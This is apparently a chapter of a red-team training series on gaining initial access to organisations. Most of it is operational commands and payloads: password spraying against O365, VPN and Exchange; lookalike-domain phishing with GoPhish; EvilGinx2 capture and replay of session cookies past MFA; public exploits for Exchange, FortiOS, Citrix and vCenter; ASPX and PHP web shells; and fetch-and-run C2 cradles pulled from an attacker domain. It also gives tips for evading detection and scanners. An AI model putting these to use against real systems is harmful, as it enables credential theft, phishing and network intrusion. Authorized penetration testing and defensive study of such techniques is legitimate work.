0.4 — Initial Access

BLUF: Every technique in pillars 1–7 assumes you already have a shell. This file covers how you get it. Initial access is the hardest phase to teach in a lab because it requires realistic targets — real portals, real email filters, real MFA. Study the methodology here, practice on authorized targets, and recognize the pattern when you hit it in the field.

Initial Access Decision Tree

[External recon complete]
        |
        +---> Login portals found? ----> [Password spray] (Section 3)
        |
        +---> Email addresses found? --> [Phishing] (Section 4-5)
        |
        +---> Public-facing apps? -----> [Exploit chain] (Section 6)
        |
        +---> Web application? ---------> [Web vuln → shell] (Section 7)
        |
        +---> Physical access in scope? -> [USB / Badge clone] (out of scope for this file)

MITRE ATT&CK Mapping

Map the behavior that was actually exercised. A tool, delivery platform, protocol, vulnerability, or successful outcome is not itself the technique.

Section 1 — External Recon for Initial Access

Before choosing a vector, build a target profile. You need: login portals, email format, technology stack, and employee list.

# --- Technology fingerprinting ---
# What's running on the perimeter?
nmap -sV -sC -p 80,443,8080,8443,8888,10443 target.com
whatweb https://target.com                        # CMS, framework, server headers
curl -si https://target.com | grep -i "server\|x-powered-by\|via\|x-aspnet"

# --- Login portal discovery ---
# OWA (Outlook Web App)
curl -si https://mail.target.com/owa/
curl -si https://autodiscover.target.com/autodiscover/autodiscover.xml

# Azure AD / O365
curl -si "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
# Returns tenant ID if domain is O365-federated

# VPN portals
for sub in vpn sslvpn remote access gateway pulse anyconnect; do
  host $sub.target.com 2>/dev/null | grep 'has address' && echo "Found: $sub.target.com"
done

# Citrix, RDP gateway, Webex
nmap -p 443 --script http-title $(dig +short citrix.target.com)

# --- Email format discovery ---
# Hunter.io, LinkedIn, OSINT sources
# Common patterns: firstname.lastname, f.lastname, firstnamelastname

# Verify email format with SMTP VRFY (rarely works) or O365 user enum
python3 o365spray.py --validate --domain target.com          # confirm O365 tenant
python3 o365spray.py --enum -U userlist.txt --domain target.com  # validate usernames

# --- Employee list (LinkedIn OSINT) ---
# linkedin2username: generates username variations from LinkedIn profiles
python3 linkedin2username.py -c 'Target Company' -n 100      # scrape LinkedIn
# Outputs: first.last, flast, firstlast variations

Section 2 — Identify MFA Posture

Before spraying or phishing, confirm what MFA (if any) is deployed. This determines whether you need EvilGinx2 or whether a simple spray is sufficient.

# O365: Check if MFA is enforced for external auth
# Try logging in manually to https://login.microsoftonline.com — watch the prompt flow
# No MFA prompt after password = Legacy Auth allowed (spray works cleanly)
# MFA prompt = you need EvilGinx2 or app password spray

# Check if legacy authentication protocols are enabled (IMAP, SMTP, POP3)
# These bypass MFA entirely on older O365 configs
# Tool: MFASweep
Invoke-MFASweep -Username user@target.com -Password Password123

# Check Conditional Access: does the org enforce MFA for all apps?
# If not — some apps (SharePoint mobile, IMAP) may bypass it
# Enumerated by attempting auth against legacy endpoints

MFA bypass decision:

Section 3 — External Password Spraying

Password spraying tests one or a few passwords across many accounts. The key constraint is lockout threshold — never exceed it.

# Step 1: Enumerate lockout policy before spraying
# O365: query the tenant's lockout settings (usually 10 attempts before lockout)
# Default: 10 attempts, 60 second window → spray 1 password per account per ~30 min

# Step 2: Build a target username list
# Use LinkedIn OSINT, o365spray enum, or company directory
cat > users.txt << 'EOF'
john.smith@target.com
jane.doe@target.com
...
EOF

# Step 3: Choose passwords
# Season + year, Company + year, Welcome1, Password1!, Summer2025
# Check previous breach data for the domain: dehashed, haveibeenpwned

OWA / Exchange Spray

# SprayingToolkit (OWA, EWS, Autodiscover)
python3 sprayingtoolkit.py owa --target https://mail.target.com/owa \
  -u users.txt -p 'Winter2025!' --delay 30

# Ruler (Exchange — also checks for legacy auth)
ruler -domain target.com -username user -password 'Password1' brute \
  --users users.txt --passwords passwords.txt --delay 30 --verbose

O365 / Azure AD Spray

# o365spray (supports multiple O365 auth endpoints)
python3 o365spray.py --spray -U users.txt -P 'Spring2025!' \
  --domain target.com --rate 30

# TREVORspray (distributed, supports rotating proxies)
trevorspray -u users.txt -p 'Password1!' -t target.com \
  --delay 45 --jitter 10

# MSOLSpray (legacy MSOL endpoint — bypasses some Conditional Access)
Invoke-MSOLSpray -UserList users.txt -Password 'Welcome1!' -OutFile hits.txt

# MailSniper — spray OWA and enumerate GAL
Invoke-PasswordSprayOWA -ExchHostname mail.target.com -UserList users.txt -Password 'Fall2025!'

VPN / Citrix / Pulse Spray

# Citrix StoreFront
python3 spray.py -t https://citrix.target.com/citrix/StoreWeb -u users.txt -p 'Password1!'

# Pulse Secure VPN
curl -s -X POST https://vpn.target.com/dana-na/auth/url_default/login.cgi \
  -d "username=testuser&password=Password1&tz_offset=0"

# GlobalProtect (PAN-OS)
python3 gpspray.py --host vpn.target.com -U users.txt -P 'Winter2025!'

# ADFS
# ADFS uses WSTrust — spray via Invoke-ADFSSecurityAssessment or MailSniper
Invoke-ADFSSecurityAssessment -ADFSFqdn adfs.target.com -Users users.txt -Passwords passwords.txt

Spray OPSEC rules:

• 1 password per account per 30 minutes minimum
• Spray from a residential IP or proxy — datacenter IPs trigger Microsoft's smart lockout
• Check net accounts /domain or the O365 tenant's lockout threshold before starting
• Stop immediately if accounts start locking — threshold calculation was wrong

Section 4 — Phishing Infrastructure Setup

Domain Setup

# Buy a typosquat or lookalike domain:
# target-helpdesk.com, targetcorp-it.com, secure-target.com
# Age the domain: register 2+ weeks before the engagement (DNS reputation)
# Categorize it: load the domain with legitimate content for a week before use

# Let's Encrypt cert (required — no browser warnings)
certbot --standalone -d phish.targetlookalike.com -m ops@yourdomain.com --agree-tos

# Check domain reputation before use
curl "https://www.virustotal.com/vtapi/v2/url/report?apikey=KEY&resource=https://phish.domain.com"
# Target: 0 detections, positive categorization (news, tech, business)

GoPhish Setup (Credential Harvest + Click Tracking)

# Install GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-amd64.zip
unzip gophish-*.zip && chmod +x gophish

# Edit config.json
{
  "admin_server": { "listen_url": "127.0.0.1:3333", "use_tls": true },
  "phish_server": { "listen_url": "0.0.0.0:443", "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/phish.domain.com/fullchain.pem",
    "key_path":  "/etc/letsencrypt/live/phish.domain.com/privkey.pem"
  }
}

sudo ./gophish
# Admin UI: https://127.0.0.1:3333 (tunnel via SSH if on remote VPS)
# Default credentials: admin / [printed in console on first launch — change immediately]

# GoPhish workflow:
# 1. Sending Profile — configure SMTP relay (SendGrid, Mailgun, or self-hosted Postfix)
# 2. Landing Page — clone the target login page (GoPhish has a built-in page importer)
# 3. Email Template — craft the pretex  email
# 4. Users & Groups — import target email list
# 5. Campaign — tie everything together, set send rate, launch

Email Template Best Practices

Subject lines that work:
  "Action Required: Verify your account before [DATE]"
  "IT Security: Multi-Factor Authentication enrollment required"
  "Your VPN certificate expires in 48 hours — renew now"
  "DocuSign: [Name] has sent you a document for signature"
  "Your password will expire in 3 days"

Pretext elements:
  - Use the correct logo, color scheme, and font of the cloned portal
  - Reference the real company name and IT department name (LinkedIn OSINT)
  - Include a plausible deadline
  - Use a sender address that matches expected IT comms (it-helpdesk@targetlookalike.com)
  - Include a footer with company address, unsubscribe link (legitimacy signal)

Section 5 — EvilGinx2 (MFA Bypass via Adversary-in-the-Middle)

EvilGinx2 proxies the victim's login through a real authentication server, capturing the session cookie after MFA completion. The attacker gets a valid, post-MFA session token — not just a password.

# Install EvilGinx2
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make

# Configure
./evilginx2 -p ./phishlets -c /etc/letsencrypt/

# Inside evilginx2 console:
: config domain phish.targetlookalike.com
: config ip YOUR_VPS_IP

# Select and enable a phishlet (built-in: o365, okta, github, linkedin, twitter)
: phishlets hostname o365 phish.targetlookalike.com
: phishlets enable o365

# Create a lure (the URL you send to the victim)
: lures create o365
: lures get-url 0
# Returns: https://phish.targetlookalike.com/UNIQUEPATH — this is your phish link

# Monitor captures
: sessions
: sessions 1     # view captured session details + cookies

# Extract captured cookies and replay them
# Cookie is in JSON format — import to browser via EditThisCookie extension
# Or use requests in Python:

import requests
session = requests.Session()
session.cookies.set('ESTSAUTHPERSISTENT', 'CAPTURED_COOKIE_VALUE', domain='.login.microsoftonline.com')
r = session.get('https://outlook.office.com/mail/')
print(r.status_code)   # 200 = valid session, you're in as the victim

# Or use AADInternals to enumerate the tenant with the captured token
Import-Module AADInternals
$token = Get-AADIntAccessTokenForEXO -Cookie 'ESTSAUTHPERSISTENT=CAPTURED_VALUE'
Get-AADIntTenantDetails -AccessToken $token

EvilGinx2 OPSEC:

• Use a domain that's at least 2 weeks old — fresh domains get flagged by O365 Safe Links
• Enable unauth_url redirect to a legitimate page — scanners following your phish link should see real content
• The phish URL is single-use by default — regenerate if burned
• Microsoft's ATP Safe Links will scan your URL — configure EvilGinx2 to detect and serve a decoy to scanner IPs

Section 6 — Public Exploit Initial Access

When password spraying and phishing fail, search the perimeter for exploitable public vulnerabilities.

Reconnaissance for CVEs

# Fingerprint exact version numbers
nmap -sV --version-intensity 9 target.com
whatweb https://target.com
curl -si https://target.com | grep -i "server\|x-powered-by\|x-owa-version\|x-aspnet"

# Check known vulnerability databases for the fingerprinted version
# ExchangeVersion header → check against ProxyShell/ProxyLogon affected versions
# Citrix ADC version → check against CVE-2019-19781 (Shitrix) or CVE-2023-3519

# Shodan for passive fingerprinting (no active probing)
shodan host TARGET_IP

Exchange — ProxyShell (CVE-2021-34473 / 34523 / 31207)

# Check if Exchange is vulnerable (check version, not just patch)
curl -si https://mail.target.com/autodiscover/autodiscover.json?@target.com/owa/&Email=autodiscover/autodiscover.json%3F@target.com

# ProxyShell PoC (drops web shell via SYSTEM-level SSRF)
python3 proxyshell.py -u https://mail.target.com -e admin@target.com

# If successful: web shell at /aspnet_client/[random].aspx
# Upload a legitimate-looking ASPX reverse shell or stage your C2 payload
curl -s https://mail.target.com/aspnet_client/shell.aspx?cmd=whoami

Citrix ADC (CVE-2023-3519 — unauthenticated RCE)

# Fingerprint Citrix version
curl -si https://citrix.target.com/vpn/index.html | grep -i "citrix\|ns_build"

# CVE-2023-3519 RCE (affects NetScaler ADC 13.0 before 13.0-91.13)
# Public PoC: https://github.com/telekom-security/cve-2023-3519-citrix-scanner
python3 citrix_scan.py --url https://citrix.target.com
# If vulnerable: execute OS commands as nsroot

Fortinet (CVE-2022-40684 — auth bypass, CVE-2023-27997 — pre-auth heap overflow)

# CVE-2022-40684: Authentication bypass on FortiOS, FortiProxy, FortiSwitchManager
curl -k -X PUT https://target.com/api/v2/cmdb/system/admin/admin \
  -H "User-Agent: Report Runner" \
  -H "Content-Type: application/json" \
  -H "Forwarded: for=\"[127.0.0.1]:8888\"" \
  -d '{"ssh-public-key1": "ssh-rsa AAAAB3... operator@redteam"}'
# If vulnerable: your SSH key added to admin account

VMware vCenter (CVE-2021-21985 / CVE-2021-22005)

# CVE-2021-22005: unauthenticated file upload → RCE (vCenter 6.7 / 7.0)
curl -s -X POST https://vcenter.target.com/analytics/telemetry/ph/api/hyper/send?_c&_i=test \
  --data-binary @payload.json -H "Content-Type: application/json"

# Public scanner
python3 CVE-2021-22005.py https://vcenter.target.com

Automated Perimeter Scanning

# nuclei — fast vulnerability scanner with CVE templates
nuclei -u https://target.com -t cves/ -severity critical,high -o nuclei_output.txt

# Check specific product categories
nuclei -u https://target.com -tags exchange,citrix,fortinet,vmware,confluence

# Metasploit for specific CVEs
msfconsole -q
msf > search exchange proxyshell
msf > use exploit/windows/http/exchange_proxyshell_rce
msf > set RHOSTS mail.target.com
msf > set LHOST ATTACKER_IP
msf > run

Section 7 — Web Application Initial Access

When the perimeter app has no known CVE but is custom-built, find a web vulnerability that achieves code execution.

# Fast recon
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,aspx,html,txt -o gobuster.txt
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt

# Identify upload endpoints — most reliable path to shell
# - File upload forms
# - Profile picture upload
# - Document/attachment upload
# - API endpoints accepting multipart/form-data

# Test upload bypass: if .php blocked, try .phtml, .php5, .shtml, .phar
# If extension checked but not MIME: send .php file with Content-Type: image/jpeg
# If content checked: embed PHP in valid JPEG EXIF data
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg

# SSRF → internal RCE path
# Find parameters that fetch URLs (url=, src=, path=, redirect=, next=)
# Internal targets: http://169.254.169.254/latest/meta-data/ (AWS IMDS)
# Internal services: http://127.0.0.1:8080/manager (Tomcat), Redis, MongoDB

# SQLi → OS command execution (MSSQL xp_cmdshell, MySQL outfile)
# SQLi → read web.config or .env for credentials
sqlmap -u "https://target.com/api?id=1" --dbs --batch
sqlmap -u "https://target.com/api?id=1" --os-shell --batch   # MSSQL only

Section 8 — Foothold Stabilization: Web Shell → C2

Once you have code execution via web shell or RCE, your first priority is getting a stable, persistent beacon before anything else.

# Step 1: Confirm execution and host context
# Minimal web shell (ASPX — Windows IIS):
<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start(
  new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["c"]){
    UseShellExecute=false, RedirectStandardOutput=true
  }).StandardOutput.ReadToEnd()); %>

# Minimal web shell (PHP — Linux/Windows Apache/nginx):
<?php system($_GET['c']); ?>

# Step 2: Determine network egress
# What can this host reach outbound?
curl -si http://ifconfig.me    # can it reach internet directly?
curl -si https://ifconfig.me   # HTTPS allowed?
# If neither works: DNS only? Or internal proxy?
# Check: env | grep -i proxy; cat /etc/environment

# Step 3: Stage your C2 beacon (Windows — PowerShell download cradle)
# Transfer Sliver/CS shellcode without touching disk:
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent","Mozilla/5.0")
$bytes = $wc.DownloadData("https://redirect.yourdomain.com/update.png")
[System.Reflection.Assembly]::Load($bytes)   # in-memory load (for .NET beacons)

# Or use certutil for binary staging (fallback):
certutil -urlcache -f https://redirect.yourdomain.com/update.bin C:\Windows\Temp\svc.exe
C:\Windows\Temp\svc.exe

# Step 4: Stage your C2 beacon (Linux)
# Download and execute in-memory (no disk write):
curl -s https://redirect.yourdomain.com/update | bash

# Or stage via /dev/shm (memory-backed filesystem):
curl -s https://redirect.yourdomain.com/beacon -o /dev/shm/.cache && chmod +x /dev/shm/.cache && /dev/shm/.cache &

# Step 5: Verify beacon callback in C2 console before touching anything else
# Once beacon is live:
# - Confirm username, hostname, PID, architecture
# - Set appropriate sleep + jitter for the environment
# - Deploy backup beacon with long sleep before starting main ops

Stabilization OPSEC

1. NEVER use the web shell for ops — get a real beacon first, then kill the shell
2. Remove the web shell after beacon is live (document its path first for the report)
3. Set sleep ≥ 60s with ≥ 25% jitter before running any post-exploitation
4. Deploy a backup beacon (different host, different C2 profile, 24h sleep) before proceeding
5. Confirm what EDR/AV is running before executing anything (see Windows AI1 Phase 1)
6. Check proxy/firewall egress: what ports can the host reach? (80/443/53 — which works?)

Pre-Engagement Initial Access Checklist

[ ] External recon complete — login portals, email format, tech stack identified
[ ] MFA posture confirmed — determines spray vs EvilGinx2
[ ] Spray lockout threshold known — check before executing
[ ] Domain for phishing aged 14+ days, TLS cert issued, categorized
[ ] GoPhish configured with custom sending profile and landing page
[ ] EvilGinx2 phishlet tested against the target portal in lab first
[ ] CVE list compiled for fingerprinted versions
[ ] Nuclei scan complete on perimeter
[ ] Backup C2 deployed before starting main ops
[ ] Web shell removed after beacon confirmed live

Resources

Part of the Red Teaming 101 series.